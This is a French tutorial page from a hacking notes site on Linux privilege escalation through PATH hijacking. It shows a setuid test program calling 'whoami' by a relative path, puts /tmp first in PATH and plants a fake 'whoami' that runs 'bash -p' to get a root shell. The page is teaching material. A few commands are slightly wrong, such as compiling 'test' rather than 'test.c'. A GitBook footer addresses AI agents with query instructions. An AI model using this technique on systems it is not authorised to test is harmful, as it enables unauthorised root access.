> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# Détournement de PATH (test.c) - Élévation de privilèges Linux

## Ce que c’est

Le détournement de PATH abuse des programmes ou scripts privilégiés qui appellent des commandes sans chemins absolus. Si l'attaquant contrôle un répertoire placé plus tôt dans `PATH`, le processus privilégié peut exécuter le binaire de l'attaquant. Cette page spécifique se concentre sur **Détournement de PATH (test.c)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Exemples

Créez un fichier dans le **/tmp/test.c** répertoire avec le contenu suivant :

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] Nous sommes actuellement le prochain utilisateur : /n/n");
	system("/usr/bin/whoami");
	printf("/n[+] Nous sommes actuellement le prochain utilisateur : /n/n");
	system("whoami");
	return 0;
}
```

Compilez le script avec **`gcc`** et créez le fichier de test avec **`-o`** en lui accordant des permissions sudoers :

```bash
gcc test -o test
```

<figure><img src="/files/6d9d98ca13e46f74a32245a6dedd5e4c8732152f" alt="" width="563"><figcaption></figcaption></figure>

Si vous exécutez le script et filtrez sur « whoami », vous remarquerez qu'il l'exécute d'abord avec le chemin absolu, puis en **relatif**. C'est un problème sérieux si nous **modifions le $PATH**:

<figure><img src="/files/a5729ce7bacfa71651816518d16ea305106756ad" alt="" width="563"><figcaption></figcaption></figure>

Modifiez **$PATH** et la priorité est donnée au chemin /tmp :

<div data-full-width="true"><figure><img src="/files/873c99e2bdeccb878ab721124ccb6f22cb09b0d1" alt="" width="563"><figcaption></figcaption></figure></div>

Ensuite, **créez le fichier suivant dans le répertoire tmp**  :

```bash
touch whoami
chmod +x whoami
```

**Insérez** le contenu suivant dans le fichier :

```bash
bash -p
```

Exécuter la **script test** à nouveau et avec le $PATH, obtenez l'accès à Bash en tant que **utilisateur root**:

<figure><img src="/files/18289f7698fc73dc9ed9202f95df7284fd7b6f7a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
